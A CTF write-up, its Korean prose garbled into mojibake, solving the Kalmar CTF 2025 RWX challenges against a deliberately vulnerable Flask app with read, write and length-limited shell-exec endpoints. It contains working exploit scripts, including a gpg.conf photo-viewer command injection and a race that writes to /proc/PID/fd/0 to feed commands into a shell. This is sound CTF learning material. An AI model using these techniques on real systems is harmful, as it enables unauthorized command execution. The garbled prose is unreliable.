Kalmar CTF 2025 - RWX series
๋ชฉ์ฐจ
Kalmar CTF 2025 misc challenge ์ด๋ฐ ์์ผ๋ก RWX-Bronze, RWX-Silver, RWX-Gold, RWX-Diamond๊ฐ ์๋๋ฐ ๊ธธ์ด๊ฐ ์ ์ ์ค์ด๋ค๊ฑฐ๋ ํ๊ฒฝ์ด ๋ฐ๋๋ ํ์์ด๋ค. ์ ์ผ ์ฒ์ ๋ฌธ์ ์ธ Bronze์์๋ 7๋ฐ์ดํธ ์ ํ์ด ๊ฑธ๋ ค์๋ค. ์ดํ ์ด๋ฒ์๋ 5๋ฐ์ดํธ ์ ํ์ด ๊ฑธ๋ ค์๋ค. Bronze์ ๋ง์ฐฌ๊ฐ์ง๋ก ์ด๋ฒ์๋ 3๋ฐ์ดํธ์ธ๋ฐ ์ฌ๊ธฐ๋ถํฐ๋ ๋ํ์ค์ ๋ชปํ์๋ค. ๋์ค์ writeup์ ๋ณด๋ PGP์ gnu ๋ฒ์ ์ธ GPG(Gnu Privacy Guard)๋ผ๋ ๋๊ตฌ๋ฅผ ์ด์ฉํด์ผ ํ๋ค. ์ด๋ฉด์ ์ฒ์ ๋ค์ด๋ณด๋ ๋๊ตฌ์ธ๋ฐ ๋๋๊ฒ๋ ubuntu์ ๊ธฐ๋ณธ์ผ๋ก ๊น๋ ค์๋ค. Exploit ์๋๋ฆฌ์ค๋ฅผ ์ํด ์ ์ PGP์ ๋ํ background๋ฅผ ์ค๋ช
ํ์๋ฉด, ์ค๋ช
์ด gpg, pgp๋ฅผ ์๋ค๊ฐ๋ค ํ๋๋ฐ ์๋ก ํธํ๋๊ฒ ๊ตฌํ๋ ๊ฒ์ด๋ฏ๋ก ํ๋ฆฐ ํํ์ ์๋๋ค. ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ ์ดํ ๋ง์ง๋ง ๋ฌธ์ ๋ ์คํ๋ ค 4๋ฐ์ดํธ๋ก ๊ธธ์ด๊ฐ ๋์ด๋ฌ๋ค. ํ์ง๋ง ๋ง์ฐฌ๊ฐ์ง๋ก ๋ํ์ค์ ๋ชปํ์ด์ writeup์ ํ์ธํด๋ณด๋ race condition์ผ๋ก ํด๊ฒฐํ ์ ์์๋ค. ์ด๋ฐ ์์ผ๋ก ๋ช
๋ น์ด๋ฅผ ์ฐ์์ผ๋ก ์คํํ ๊ฒฝ์ฐ pid๊ฐ 3๋งํผ ์ฆ๊ฐํ๋ฏ๋ก ๋ค์ ํ๋ก์ธ์ค์ pid๋ฅผ ์์ธกํ ์ ์๋ค. Exploit ์๋๋ฆฌ์ค๋ ๋ค์๊ณผ ๊ฐ๋ค. ์ด ๋ ์ปจ์
์ ๊ฐ๋จํ๋ฐ ๋ฐ์์ด ๋๋จํ ๊ฒ ๊ฐ๋ค. 0x00. Introduction
FROM ubuntu:latest
RUN apt-get update && \
apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages
WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt
COPY would.c /
RUN gcc -o would would.c && \
chmod 6111 would && \
rm would.c
WORKDIR /app
COPY app.py .
RUN useradd -m user
USER user
CMD ["python3", "app.py"]Dockerfile์ ๋ณด๋ฉด would.c๋ฅผ ๋น๋ํด์ / ๋๋ ํ ๋ฆฌ ๋ฐ์ would ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ๋ค. flask๋ก ๊ตฌ๋๋๋ ์น ์๋ฒ๋ฅผ ์ฌ๋ฆฌ๋๋ฐ ์ด๋ฅผ ์ด์ฉํด์ flag๋ฅผ ํ๋ํด์ผ ํ๋ค. Concept
int main(int argc, char *argv[]) {
char full_cmd[256] = {0};
for (int i = 1; i < argc; i++) {
strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
}
if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
FILE *flag = fopen("/flag.txt", "r");
if (flag) {
char buffer[1024];
while (fgets(buffer, sizeof(buffer), flag)) {
printf("%s", buffer);
}
fclose(flag);
return 0;
}
}
printf("Invalid usage: %s\n", full_cmd);
return 1;
}would.c๋ฅผ ๋ณด๋ฉด /would you be so kind to provide me with a flag๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํด์ flag๋ฅผ ํ๋ํ ์ ์๋ค.@app.route('/read')
def read():
filename = request.args.get('filename', '')
try:
return send_file(filename)
except Exception as e:
return str(e), 400
@app.route('/write', methods=['POST'])
def write():
filename = request.args.get('filename', '')
content = request.get_data()
try:
with open(filename, 'wb') as f:
f.write(content)
return 'OK'
except Exception as e:
return str(e), 400
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 7:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=6664)app.py๋ฅผ ๋ณด๋ฉด user ๊ถํ์ผ๋ก arbitrary read / write๊ฐ ๊ฐ๋ฅํ๊ณ ๋ช
๋ น์ด ์คํ์ ๊ธธ์ด ์ ํ์ด ์๋ค. 0x01. RWX-Bronze
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 7:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400/write ์๋ํฌ์ธํธ๋ฅผ ์ด์ฉํด์ ๋ค์ ๋ด์ฉ์ /home/user/x๋ผ๋ ํ์ผ์ ์ ์ฅํ๋ค./would you be so kind to provide me with a flag/exec ์๋ํฌ์ธํธ๋ฅผ ํตํด ๋ค์ ๋ช
๋ น์ด๋ฅผ ์คํํด์ฃผ๋ฉด ๋๋ค.sh<~x 0x02. RWX-Silver
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 5:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400/home/user/x๋ฅผ ์์ฑํ๊ณ ๋ค์ ๋ช
๋ น์ด๋ฅผ ์คํํด์ฃผ๋ฉด ๋๋ค.. ~/x 0x03. RWX-Gold
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 3:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400. ~, ~/*, ~;* ๋ฑ ๋ค์ํ๊ฒ ์๋๋ฅผ ํด๋ดค๋๋ฐ ๋ค ์คํจํ๋ค.gpg.conf ํ์ผ์ ํตํด GPG์ ๋์ ๋ฐฉ์์ ์ ์ดํ ์ ์์ list-options : gpg --list-keys ์คํ ์ ์ต์
์ ์ค์ ํ๋ tag show-photos : ํค๋ฅผ ๋์ดํ ๋ PGP ํค์ ์ฒจ๋ถ๋ ์ฌ์ง ํ์photo-viewer : PGP ํค์ ์ฒจ๋ถ๋ ์ฌ์ง์ ํ์ํ ๋ ์ฌ์ฉํ ํ๋ก๊ทธ๋จ์ ์ง์ ํ๋ taglist-keys : ์ด ์ต์
์ด gpg.conf์ ์์ผ๋ฉด gpg ์คํ ์ ์๋์ผ๋ก ํค ๋ชฉ๋ก์ ํ์/home/user/.gnupg/gpg.conf๋ผ๋ ํ์ผ์ ์ ์ฅํ๋ค.list-options show-photos
photo-viewer /would you be so kind to provide me with a flag > /tmp/x
list-keysgpg ๋ช
๋ น์ ์คํํด์ฃผ๋ฉด ์ค์ ๊ฐ์ ๋ฐ๋ผ ํค ๋ชฉ๋ก์ ํ์ํ๊ฒ ๋๊ณ , ๊ทธ ๊ณผ์ ์์ ์ฌ์ง์ ์ถ๋ ฅํ ๋ฐ์ด๋๋ฆฌ๊ฐ /would you be so kind to provide me with a flag > /tmp/x์ผ๋ก ์ง์ ๋์ด์์ผ๋ฏ๋ก ์ฌ์ง์ ์ถ๋ ฅํ ๋ ๋ช
๋ น์ด๊ฐ ์คํ๋๋ค. Payload
import requests
import base64
url = "http://localhost:6664"
def rwx_read(filename):
uri = url + "/read"
uri += "?filename=" + filename
return requests.get(uri)
def rwx_write(filename, data):
uri = url + "/write"
uri += "?filename=" + filename
return requests.post(uri, data=data)
def rwx_exec(cmd):
uri = url + "/exec"
uri += "?cmd=" + cmd
return requests.get(uri)
def main():
rwx_exec("gpg")
gpg_conf_content = (
"list-options show-photos\n"
"photo-viewer /would you be so kind to provide me with a flag > /tmp/x\n"
"list-keys\n"
)
rwx_write("/home/user/.gnupg/gpg.conf", gpg_conf_content)
with open("pubring.kbx", "rb") as f:
pubring_data = f.read()
rwx_write("/home/user/.gnupg/pubring.kbx", pubring_data)
rwx_exec("gpg")
r = rwx_read("/tmp/x")
print(r.text)
if __name__ == '__main__':
main() 0x04. RWX-Diamond
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 4:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400Dockerfile์ ๋ณด๋ฉด ๋ฌ๋ผ์ง๊ฒ ์๋ค....
# RUN useradd -m user
RUN useradd user
USER user
CMD ["python3", "app.py"]useradd๋ฅผ ํ ๋ -m ์ต์
์ด ์๊ธฐ ๋๋ฌธ์ /home/user ๋๋ ํ ๋ฆฌ๊ฐ ์์ฑ๋์ง ์์์ ๊ธฐ์กด ๋ฐฉ์์ ์ฌ์ฉํ ์ ์๋ค.โ rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
PID TTY TIME CMD
1 ? 00:00:00 python3
8 ? 00:00:00 sh
9 ? 00:00:00 ps
โ rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
PID TTY TIME CMD
1 ? 00:00:00 python3
11 ? 00:00:00 sh
12 ? 00:00:00 pswrite exec Create write process Create exec process Write โ/would you โฆโ to STDIN of shExecute w|shw|sh ๋ช
๋ น์ ์คํํ๋ ์ด์ ๋ ๊ธธ์ด๊ฐ 4๋ฐ์ดํธ๊น์ง์ด๊ณ sh ํ๋ก์ธ์ค์ STDIN์ ์ค์ผํ๊ธฐ ๋๋ฌธ์ ํ ๋ฐ์ดํธ์ง๋ฆฌ ๋ช
๋ น์ด์ธ w๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด๋ค. ์กด์ฌํ์ง ์๋ ๋ช
๋ น์ด๋ฅผ STDIN์ผ๋ก ์ค๋ ๋ ๊ฒ ๊ฐ์ง๋ง time window๊ฐ ๋ค๋ฅธ์ง ์กด์ฌํ๋ ๋ช
๋ น์ด๊ฐ ์ฑ๊ณต ํ๋ฅ ์ด ๋๋ค๊ณ ํ๋ค.w|sh๋ sh๋ผ๋ ๋ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋ฏ๋ก pid๋ฅผ 3์ด ์๋ 4๋งํผ ์ฆ๊ฐ์์ผ์ผ ํ๋ค. Payload
import requests
import threading
from time import sleep
url = "http://localhost:6664"
cmd = "/would you be so kind to provide me with a flag"
def race_fd():
global pid
requests.post(f"{url}/write?filename=/proc/{pid}/fd/0", data=cmd)
def race_cmd():
global res
res = requests.get(f"{url}/exec?cmd=w|sh").text
def rwx_exec(cmd):
uri = url + "/exec"
uri += "?cmd=" + cmd
return requests.get(uri)
while True:
r = rwx_exec("ps")
pid = int(r.text.split("\n")[-2].split()[0])
pid += 4
print(f"[*] trying {pid}")
thread_cmd = threading.Thread(target=race_cmd)
thread_fd = threading.Thread(target=race_fd)
thread_fd.start()
thread_cmd.start()
thread_cmd.join()
thread_fd.join()
if "kalmar{" in res:
print(res)
break
sleep(0.1)